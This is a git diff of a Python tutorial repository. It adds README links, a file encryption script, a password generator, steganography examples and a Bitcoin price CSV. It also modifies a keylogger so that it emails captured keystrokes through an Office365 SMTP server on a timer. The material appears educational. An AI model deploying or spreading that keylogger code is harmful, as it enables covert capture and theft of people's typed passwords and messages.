diff --git a/README.md b/README.md index 99d42d30..e05f12b1 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Getting Started With Scapy: Python Network Manipulation Tool](https://www.thepythoncode.com/article/getting-started-with-scapy) - [Building an ARP Spoofer](https://www.thepythoncode.com/article/building-arp-spoofer-using-scapy). ([code](scapy/arp-spoofer)) - [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector)) - - DHCP Listener script. ([code](scapy/dhcp_listener)) + - [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python). ([code](scapy/dhcp_listener)) - [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point)) - [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker)) - [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner)) @@ -36,6 +36,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python). ([code](ethical-hacking/chrome-cookie-extractor)) - [How to Extract Saved WiFi Passwords in Python](https://www.thepythoncode.com/article/extract-saved-wifi-passwords-in-python). ([code](ethical-hacking/get-wifi-passwords)) - [How to Make a MAC Address Changer in Python](https://www.thepythoncode.com/article/make-a-mac-address-changer-in-python). ([code](ethical-hacking/mac-address-changer)) + - [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python). ([code](ethical-hacking/password-generator)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -52,6 +53,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python). ([code](machine-learning/nlp/text-generation-transformers)) - [How to Paraphrase Text using Transformers in Python](https://www.thepythoncode.com/article/paraphrase-text-using-transformers-in-python). ([code](machine-learning/nlp/text-paraphrasing)) - [Fake News Detection using Transformers in Python](https://www.thepythoncode.com/article/fake-news-classification-in-python). ([code](machine-learning/nlp/fake-news-classification)) + - [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy). ([code](machine-learning/nlp/named-entity-recognition)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -86,6 +88,14 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Credit Card Fraud Detection in Python](https://www.thepythoncode.com/article/credit-card-fraud-detection-using-sklearn-in-python#near-miss). ([code](machine-learning/credit-card-fraud-detection)) - [Customer Churn Prediction in Python](https://www.thepythoncode.com/article/customer-churn-detection-using-sklearn-in-python). ([code](machine-learning/customer-churn-detection)) - [Recommender Systems using Association Rules Mining in Python](https://www.thepythoncode.com/article/build-a-recommender-system-with-association-rule-mining-in-python). ([code](machine-learning/recommender-system-using-association-rules)) + - [Handling Imbalanced Datasets: A Case Study with Customer Churn](https://www.thepythoncode.com/article/handling-imbalanced-datasets-sklearn-in-python). ([code](machine-learning/handling-inbalance-churn-data)) + - [Logistic Regression using PyTorch in Python](https://www.thepythoncode.com/article/logistic-regression-using-pytorch). ([code](machine-learning/logistic-regression-in-pytorch)) + - [Dropout Regularization using PyTorch in Python](https://www.thepythoncode.com/article/dropout-regularization-in-pytorch). ([code](machine-learning/dropout-in-pytorch)) + - [K-Fold Cross Validation using Scikit-Learn in Python](https://www.thepythoncode.com/article/kfold-cross-validation-using-sklearn-in-python). ([code](machine-learning/k-fold-cross-validation-sklearn)) + - [Dimensionality Reduction: Feature Extraction using Scikit-learn in Python](https://www.thepythoncode.com/article/dimensionality-reduction-using-feature-extraction-sklearn). ([code](machine-learning/dimensionality-reduction-feature-extraction)) + - [Dimensionality Reduction: Using Feature Selection in Python](https://www.thepythoncode.com/article/dimensionality-reduction-feature-selection). ([code](machine-learning/dimensionality-reduction-feature-selection)) + - [A Guide to Explainable AI Using Python](https://www.thepythoncode.com/article/explainable-ai-model-python). ([code](machine-learning/explainable-ai)) + - [Autoencoders for Dimensionality Reduction using TensorFlow in Python](https://www.thepythoncode.com/article/feature-extraction-dimensionality-reduction-autoencoders-python-keras). ([code](machine-learning/feature-extraction-autoencoders)) - ### [General Python Topics](https://www.thepythoncode.com/topic/general-python-topics) - [How to Make Facebook Messenger bot in Python](https://www.thepythoncode.com/article/make-bot-fbchat-python). ([code](general/messenger-bot)) @@ -99,11 +109,19 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Get the Size of Directories in Python](https://www.thepythoncode.com/article/get-directory-size-in-bytes-using-python). ([code](general/calculate-directory-size)) - [How to Get Geographic Locations in Python](https://www.thepythoncode.com/article/get-geolocation-in-python). ([code](general/geolocation)) - [How to Assembly, Disassembly and Emulate Machine Code using Python](https://www.thepythoncode.com/article/arm-x86-64-assembly-disassembly-and-emulation-in-python). ([code](general/assembly-code)) - - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) - - [Asynchronous Tasks with Celery in Python](https://www.thepythoncode.com/article/async-tasks-with-celery-redis-and-flask-in-python). ([code](https://github.com/bassemmarji/flask_sync_async)) - [How to Change Text Color in Python](https://www.thepythoncode.com/article/change-text-color-in-python). ([code](general/printing-in-colors)) - [How to Create a Watchdog in Python](https://www.thepythoncode.com/article/create-a-watchdog-in-python). ([code](general/directory-watcher)) - [How to Convert Pandas Dataframes to HTML Tables in Python](https://www.thepythoncode.com/article/convert-pandas-dataframe-to-html-table-python). ([code](general/dataframe-to-html)) + - [How to Make a Simple Math Quiz Game in Python](https://www.thepythoncode.com/article/make-a-simple-math-quiz-game-in-python). ([code](general/simple-math-game)) + - [How to Make a Network Usage Monitor in Python](https://www.thepythoncode.com/article/make-a-network-usage-monitor-in-python). ([code](general/network-usage)) + - [How to Replace Text in Docx Files in Python](https://www.thepythoncode.com/article/replace-text-in-docx-files-using-python). ([code](general/docx-file-replacer)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) + - [Zipf's Word Frequency Plot with Python](https://www.thepythoncode.com/article/plot-zipfs-law-using-matplotlib-python). ([code](general/zipf-curve)) + - [How to Plot Weather Temperature in Python](https://www.thepythoncode.com/article/interactive-weather-plot-with-matplotlib-and-requests). ([code](general/interactive-weather-plot/)) + - [How to Generate SVG Country Maps in Python](https://www.thepythoncode.com/article/generate-svg-country-maps-python). ([code](general/generate-svg-country-map)) + - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) + - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) + - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) @@ -124,6 +142,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Automate Login using Selenium in Python](https://www.thepythoncode.com/article/automate-login-to-websites-using-selenium-in-python). ([code](web-scraping/automate-login)) - [How to Make a Currency Converter in Python](https://www.thepythoncode.com/article/make-a-currency-converter-in-python). ([code](web-scraping/currency-converter)) - [How to Extract Google Trends Data in Python](https://www.thepythoncode.com/article/extract-google-trends-data-in-python). ([code](web-scraping/extract-google-trends-data)) + - [How to Make a YouTube Video Downloader in Python](https://www.thepythoncode.com/article/make-a-youtube-video-downloader-in-python). ([code](web-scraping/youtube-video-downloader)) + - [How to Build a YouTube Audio Downloader in Python](https://www.thepythoncode.com/article/build-a-youtube-mp3-downloader-tkinter-python). ([code](web-scraping/youtube-mp3-downloader)) - ### [Python Standard Library](https://www.thepythoncode.com/topic/python-standard-library) - [How to Transfer Files in the Network using Sockets in Python](https://www.thepythoncode.com/article/send-receive-files-using-sockets-python). ([code](general/transfer-files/)) @@ -144,6 +164,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Delete Emails in Python](https://www.thepythoncode.com/article/deleting-emails-in-python). ([code](python-standard-library/deleting-emails)) - [Daemon Threads in Python](https://www.thepythoncode.com/article/daemon-threads-in-python). ([code](python-standard-library/daemon-thread)) - [How to Organize Files by Extension in Python](https://www.thepythoncode.com/article/organize-files-by-extension-with-python). ([code](python-standard-library/extension-separator)) + - [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python). ([code](python-standard-library/split-string)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) @@ -158,6 +179,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use Gmail API in Python](https://www.thepythoncode.com/article/use-gmail-api-in-python). ([code](general/gmail-api)) - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) + - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) - ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) @@ -198,4 +220,33 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) +- ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) + - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) + - [Asynchronous Tasks with Celery in Python](https://www.thepythoncode.com/article/async-tasks-with-celery-redis-and-flask-in-python). ([code](https://github.com/bassemmarji/flask_sync_async)) + - [How to Build a CRUD App with Flask and SQLAlchemy in Python](https://www.thepythoncode.com/article/building-crud-app-with-flask-and-sqlalchemy). ([code](web-programming/bookshop-crud-app-flask)) + - [How to Build an English Dictionary App with Django in Python](https://www.thepythoncode.com/article/build-dictionary-app-with-django-and-pydictionary-api-python). ([code](web-programming/djangodictionary)) + - [How to Build a CRUD Application using Django in Python](https://www.thepythoncode.com/article/build-bookstore-app-with-django-backend-python). ([code](web-programming/bookshop-crud-app-django)) + - [How to Build a Weather App using Django in Python](https://www.thepythoncode.com/article/weather-app-django-openweather-api-using-python). ([code](web-programming/django-weather-app)) + - [How to Build an Authentication System in Django](https://www.thepythoncode.com/article/authentication-system-in-django-python). ([code](web-programming/django-authentication)) + - [How to Make a Blog using Django in Python](https://www.thepythoncode.com/article/create-a-blog-using-django-in-python). ([code](https://github.com/chepkiruidorothy/simple-blog-site)) + - [How to Make a Todo App using Django in Python](https://www.thepythoncode.com/article/build-a-todo-app-with-django-in-python). ([code](https://github.com/chepkiruidorothy/todo-app-simple/tree/master)) + - [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python). ([code](web-programming/webbased-emailverifier)) + +- ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) + - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) + - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) + - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) + - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) + - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) + - [How to Build a Spreadsheet App with Tkinter in Python](https://www.thepythoncode.com/article/spreadsheet-app-using-tkinter-in-python). ([code](gui-programming/spreadsheet-app)) + - [How to Make a Rich Text Editor with Tkinter in Python](https://www.thepythoncode.com/article/create-rich-text-editor-with-tkinter-python). ([code](gui-programming/rich-text-editor)) + - [How to Make a Python Code Editor using Tkinter in Python](https://www.thepythoncode.com/article/python-code-editor-using-tkinter-python). ([code](gui-programming/python-code-editor/)) + - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) + - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) + For any feedback, please consider pulling requests. diff --git a/ethical-hacking/file-encryption/crypt_password.py b/ethical-hacking/file-encryption/crypt_password.py new file mode 100644 index 00000000..40e6ffd1 --- /dev/null +++ b/ethical-hacking/file-encryption/crypt_password.py @@ -0,0 +1,124 @@ +import cryptography +from cryptography.fernet import Fernet +from cryptography.hazmat.primitives.kdf.scrypt import Scrypt + +import secrets +import base64 +import getpass + + +def generate_salt(size=16): + """Generate the salt used for key derivation, + `size` is the length of the salt to generate""" + return secrets.token_bytes(size) + + +def derive_key(salt, password): + """Derive the key from the `password` using the passed `salt`""" + kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1) + return kdf.derive(password.encode()) + + +def load_salt(): + # load salt from salt.salt file + return open("salt.salt", "rb").read() + + +def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True): + """ + Generates a key from a `password` and the salt. + If `load_existing_salt` is True, it'll load the salt from a file + in the current directory called "salt.salt". + If `save_salt` is True, then it will generate a new salt + and save it to "salt.salt" + """ + if load_existing_salt: + # load existing salt + salt = load_salt() + elif save_salt: + # generate new salt and save it + salt = generate_salt(salt_size) + with open("salt.salt", "wb") as salt_file: + salt_file.write(salt) + # generate the key from the salt and the password + derived_key = derive_key(salt, password) + # encode it using Base 64 and return it + return base64.urlsafe_b64encode(derived_key) + + +def encrypt(filename, key): + """ + Given a filename (str) and key (bytes), it encrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read all file data + file_data = file.read() + # encrypt data + encrypted_data = f.encrypt(file_data) + # write the encrypted file + with open(filename, "wb") as file: + file.write(encrypted_data) + + +def decrypt(filename, key): + """ + Given a filename (str) and key (bytes), it decrypts the file and write it + """ + f = Fernet(key) + with open(filename, "rb") as file: + # read the encrypted data + encrypted_data = file.read() + # decrypt data + try: + decrypted_data = f.decrypt(encrypted_data) + except cryptography.fernet.InvalidToken: + print("Invalid token, most likely the password is incorrect") + return + # write the original file + with open(filename, "wb") as file: + file.write(decrypted_data) + print("File decrypted successfully") + + +if __name__ == "__main__": + import argparse + parser = argparse.ArgumentParser(description="File Encryptor Script with a Password") + parser.add_argument("file", help="File to encrypt/decrypt") + parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated", + type=int) + parser.add_argument("-e", "--encrypt", action="store_true", + help="Whether to encrypt the file, only -e or -d can be specified.") + parser.add_argument("-d", "--decrypt", action="store_true", + help="Whether to decrypt the file, only -e or -d can be specified.") + + args = parser.parse_args() + file = args.file + + if args.encrypt: + password = getpass.getpass("Enter the password for encryption: ") + elif args.decrypt: + password = getpass.getpass("Enter the password you used for encryption: ") + + if args.salt_size: + key = generate_key(password, salt_size=args.salt_size, save_salt=True) + else: + key = generate_key(password, load_existing_salt=True) + + encrypt_ = args.encrypt + decrypt_ = args.decrypt + + if encrypt_ and decrypt_: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + elif encrypt_: + encrypt(file, key) + elif decrypt_: + decrypt(file, key) + else: + raise TypeError("Please specify whether you want to encrypt the file or decrypt it.") + + + + + + diff --git a/ethical-hacking/keylogger/keylogger.py b/ethical-hacking/keylogger/keylogger.py index 8b303381..fa815f12 100644 --- a/ethical-hacking/keylogger/keylogger.py +++ b/ethical-hacking/keylogger/keylogger.py @@ -3,10 +3,12 @@ # Timer is to make a method runs after an `interval` amount of time from threading import Timer from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on -EMAIL_ADDRESS = "put_real_address_here@gmail.com" -EMAIL_PASSWORD = "put_real_pw" +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" class Keylogger: def __init__(self, interval, report_method="email"): @@ -59,17 +61,37 @@ def report_to_file(self): print(self.log, file=f) print(f"[+] Saved {self.filename}.txt") - def sendmail(self, email, password, message): + def prepare_mail(self, message): + """Utility function to construct a MIMEMultipart from a text + It creates an HTML version as well as text version + to be sent as an email""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + # simple paragraph, feel free to edit + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + # after making the mail, convert back as string message + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): # manages a connection to an SMTP server - server = smtplib.SMTP(host="smtp.gmail.com", port=587) + # in our case it's for Microsoft365, Outlook, Hotmail, and live.com + server = smtplib.SMTP(host="smtp.office365.com", port=587) # connect to the SMTP server as TLS mode ( for security ) server.starttls() # login to the email account server.login(email, password) - # send the actual message - server.sendmail(email, email, message) + # send the actual message after preparation + server.sendmail(email, email, self.prepare_mail(message)) # terminates the session server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") def report(self): """ @@ -85,8 +107,8 @@ def report(self): self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() - # if you want to print in the console, uncomment below line - # print(f"[{self.filename}] - {self.log}") + # if you don't want to print in the console, comment below line + print(f"[{self.filename}] - {self.log}") self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) @@ -102,6 +124,8 @@ def start(self): keyboard.on_release(callback=self.callback) # start reporting the keylogs self.report() + # make a simple message + print(f"{datetime.now()} - Started keylogger") # block the current thread, wait until CTRL+C is pressed keyboard.wait() diff --git a/ethical-hacking/password-generator/README.md b/ethical-hacking/password-generator/README.md new file mode 100644 index 00000000..5152fc5b --- /dev/null +++ b/ethical-hacking/password-generator/README.md @@ -0,0 +1 @@ +# [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-generator/password_generator.py b/ethical-hacking/password-generator/password_generator.py new file mode 100644 index 00000000..b122d4bd --- /dev/null +++ b/ethical-hacking/password-generator/password_generator.py @@ -0,0 +1,72 @@ +from argparse import ArgumentParser +import secrets +import random +import string + +# Setting up the Argument Parser +parser = ArgumentParser( + prog='Password Generator.', + description='Generate any number of passwords with this tool.' +) + +# Adding the arguments to the parser +parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int) +parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int) +parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int) +parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int) + +# add total pw length argument +parser.add_argument("-t", "--total-length", type=int, + help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \ + "and generate completely random passwords with the specified length") + +# The amount is a number so we check it to be of type int. +parser.add_argument("-a", "--amount", default=1, type=int) +parser.add_argument("-o", "--output-file") + +# Parsing the command line arguments. +args = parser.parse_args() + +# list of passwords +passwords = [] +# Looping through the amount of passwords. +for _ in range(args.amount): + if args.total_length: + # generate random password with the length + # of total_length based on all available characters + passwords.append("".join( + [secrets.choice(string.digits + string.ascii_letters + string.punctuation) \ + for _ in range(args.total_length)])) + else: + password = [] + # If / how many numbers the password should contain + for _ in range(args.numbers): + password.append(secrets.choice(string.digits)) + + # If / how many uppercase characters the password should contain + for _ in range(args.uppercase): + password.append(secrets.choice(string.ascii_uppercase)) + + # If / how many lowercase characters the password should contain + for _ in range(args.lowercase): + password.append(secrets.choice(string.ascii_lowercase)) + + # If / how many special characters the password should contain + for _ in range(args.special_chars): + password.append(secrets.choice(string.punctuation)) + + # Shuffle the list with all the possible letters, numbers and symbols. + random.shuffle(password) + + # Get the letters of the string up to the length argument and then join them. + password = ''.join(password) + + # append this password to the overall list of password. + passwords.append(password) + +# Store the password to a .txt file. +if args.output_file: + with open(args.output_file, 'w') as f: + f.write('\n'.join(passwords)) + +print('\n'.join(passwords)) diff --git a/ethical-hacking/steganography/README.md b/ethical-hacking/steganography/README.md index cc9d72e8..18d6fe07 100644 --- a/ethical-hacking/steganography/README.md +++ b/ethical-hacking/steganography/README.md @@ -39,3 +39,21 @@ To run this: [+] Decoding... [+] Decoded data: This is some secret data. ``` + +- To encode the `foo.pdf` file into the `image.PNG` image, using `steganography_advanced.py` script: + ``` + $ python steganography_advanced.py -e image.PNG -f foo.pdf -b 1 + ``` + **Output:** + ``` + [*] Maximum bytes to encode: 125028 + [*] Data size: 84158 + [*] Encoding data... + [+] Saved encoded image. + ``` +- Now decoding it into a file `foo_decoded.pdf`: + ``` + python steganography_advanced.py -d image_encoded.PNG -f foo_decoded.pdf -b 1 + [+] Decoding... + [+] File decoded, foo_decoded.pdf is saved successfully. + ``` diff --git a/ethical-hacking/steganography/data.csv b/ethical-hacking/steganography/data.csv new file mode 100644 index 00000000..1fe75b33 --- /dev/null +++ b/ethical-hacking/steganography/data.csv @@ -0,0 +1,3266 @@ +date,open,high,low,close,adjclose,volume,ticker +2010-07-17,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0.049509998410940004,0,BTC-USD +2010-07-18,0.049509998410940004,0.085850000381469,0.059409998357295005,0.085840001702308,0.085840001702308,5,BTC-USD +2010-07-19,0.085840001702308,0.09307000041007901,0.07722999900579401,0.080799996852874,0.080799996852874,49,BTC-USD +2010-07-20,0.080799996852874,0.081809997558593,0.074259996414184,0.074740000069141,0.074740000069141,20,BTC-USD +2010-07-21,0.074740000069141,0.079209998250007,0.066339999437332,0.079209998250007,0.079209998250007,42,BTC-USD +2010-07-22,0.079209998250007,0.081809997558593,0.05050000175833701,0.05050000175833701,0.05050000175833701,129,BTC-USD +2010-07-23,0.05050000175833701,0.06767000257968901,0.05050000175833701,0.062619999051094,0.062619999051094,141,BTC-USD +2010-07-24,0.062619999051094,0.061609998345375006,0.050489999353885005,0.054540000855922005,0.054540000855922005,26,BTC-USD +2010-07-25,0.054540000855922005,0.059409998357295005,0.05050000175833701,0.05050000175833701,0.05050000175833701,85,BTC-USD +2010-07-26,0.05050000175833701,0.056000001728534005,0.050000000745058004,0.056000001728534005,0.056000001728534005,46,BTC-USD +2010-07-27,0.056000001728534005,0.060499999672174,0.052999999374151,0.05999999865889501,0.05999999865889501,196,BTC-USD +2010-07-28,0.05999999865889501,0.061999998986721004,0.054000001400709007,0.058899998664855006,0.058899998664855006,255,BTC-USD +2010-07-29,0.058899998664855006,0.06989999860525101,0.057100001722574005,0.06989999860525101,0.06989999860525101,528,BTC-USD +2010-07-30,0.06989999860525101,0.06979999691247901,0.058200001716613006,0.062700003385543,0.062700003385543,198,BTC-USD +2010-07-31,0.062700003385543,0.068889997899532,0.056000001728534005,0.06785000115633001,0.06785000115633001,243,BTC-USD +2010-08-01,0.06785000115633001,0.064999997615814,0.05999999865889501,0.06109999865293501,0.06109999865293501,162,BTC-USD +2010-08-02,0.06109999865293501,0.063299998641014,0.05999999865889501,0.05999999865889501,0.05999999865889501,221,BTC-USD +2010-08-03,0.05999999865889501,0.064999997615814,0.059000000357627,0.05999999865889501,0.05999999865889501,606,BTC-USD +2010-08-04,0.05999999865889501,0.062309999018907006,0.057000000029802,0.057000000029802,0.057000000029802,210,BTC-USD +2010-08-05,0.057000000029802,0.061000000685453006,0.057999998331069,0.061000000685453006,0.061000000685453006,303,BTC-USD +2010-08-06,0.061000000685453006,0.062399998307228005,0.06069999933242701,0.062300000339746,0.062300000339746,85,BTC-USD +2010-08-07,0.062300000339746,0.062199998646974,0.059000000357627,0.059000000357627,0.059000000357627,157,BTC-USD +2010-08-08,0.059000000357627,0.061000000685453006,0.059000000357627,0.060899998992681004,0.060899998992681004,132,BTC-USD +2010-08-09,0.060899998992681004,0.07349999994039501,0.05930000171065301,0.07100000232458101,0.07100000232458101,886,BTC-USD +2010-08-10,0.07100000232458101,0.070900000631809,0.06650999933481201,0.070000000298023,0.070000000298023,88,BTC-USD +2010-08-11,0.070000000298023,0.0754100009799,0.05999999865889501,0.06700000166893001,0.06700000166893001,1015,BTC-USD +2010-08-12,0.06700000166893001,0.070000000298023,0.061409998685121,0.070000000298023,0.070000000298023,134,BTC-USD +2010-08-13,0.070000000298023,0.068000003695487,0.06449999660253501,0.06449999660253501,0.06449999660253501,233,BTC-USD +2010-08-14,0.06449999660253501,0.069499999284744,0.06449999660253501,0.06700000166893001,0.06700000166893001,295,BTC-USD +2010-08-15,0.06700000166893001,0.06700000166893001,0.064999997615814,0.06528999656438801,0.06528999656438801,294,BTC-USD +2010-08-16,0.06528999656438801,0.06790000200271601,0.061999998986721004,0.065499998629093,0.065499998629093,696,BTC-USD +2010-08-17,0.065499998629093,0.076899997889995,0.062430001795291006,0.070000000298023,0.070000000298023,915,BTC-USD +2010-08-18,0.070000000298023,0.073299996554851,0.06700000166893001,0.068000003695487,0.068000003695487,203,BTC-USD +2010-08-19,0.068000003695487,0.06790000200271601,0.066699996590614,0.066699996590614,0.066699996590614,50,BTC-USD +2010-08-20,0.066699996590614,0.066699996590614,0.064999997615814,0.065499998629093,0.065499998629093,276,BTC-USD +2010-08-21,0.065499998629093,0.066899999976158,0.064400002360343,0.066399998962879,0.066399998962879,688,BTC-USD +2010-08-22,0.066399998962879,0.066399998962879,0.061200000345706,0.065999999642372,0.065999999642372,1183,BTC-USD +2010-08-23,0.065999999642372,0.066890001296997,0.063000001013278,0.06491000205278301,0.06491000205278301,281,BTC-USD +2010-08-24,0.06491000205278301,0.06650000065565101,0.06491000205278301,0.064999997615814,0.064999997615814,444,BTC-USD +2010-08-25,0.064999997615814,0.06650000065565101,0.064099997282028,0.06480000168085001,0.06480000168085001,278,BTC-USD +2010-08-26,0.06480000168085001,0.065800003707408,0.06400000303983601,0.06400000303983601,0.06400000303983601,251,BTC-USD +2010-08-27,0.06400000303983601,0.064999997615814,0.063000001013278,0.064999997615814,0.064999997615814,583,BTC-USD +2010-08-28,0.064999997615814,0.064999997615814,0.064099997282028,0.064099997282028,0.064099997282028,399,BTC-USD +2010-08-29,0.064099997282028,0.06480000168085001,0.06400000303983601,0.06400000303983601,0.06400000303983601,204,BTC-USD +2010-08-30,0.06400000303983601,0.06899999827146501,0.032109998166561,0.06497000157833101,0.06497000157833101,2135,BTC-USD +2010-08-31,0.06497000157833101,0.064900003373622,0.05999999865889501,0.05999999865889501,0.05999999865889501,933,BTC-USD +2010-09-01,0.05999999865889501,0.06289999932050701,0.059610001742839,0.06289999932050701,0.06289999932050701,436,BTC-USD +2010-09-02,0.06289999932050701,0.06340000033378601,0.060100000351667,0.06340000033378601,0.06340000033378601,498,BTC-USD +2010-09-03,0.06340000033378601,0.063000001013278,0.060849998146295006,0.060849998146295006,0.060849998146295006,54,BTC-USD +2010-09-04,0.060849998146295006,0.06238000094890501,0.061200000345706,0.06238000094890501,0.06238000094890501,202,BTC-USD +2010-09-05,0.06238000094890501,0.06400000303983601,0.060499999672174,0.061599999666213004,0.061599999666213004,527,BTC-USD +2010-09-06,0.061599999666213004,0.062700003385543,0.061599999666213004,0.061599999666213004,0.061599999666213004,56,BTC-USD +2010-09-07,0.061599999666213004,0.06201000139117201,0.060300000011920006,0.061000000685453006,0.061000000685453006,212,BTC-USD +2010-09-08,0.061000000685453006,0.061999998986721004,0.060989998281002,0.061999998986721004,0.061999998986721004,143,BTC-USD +2010-09-09,0.061999998986721004,0.062399998307228005,0.061089999973773006,0.061110001057386,0.061110001057386,107,BTC-USD 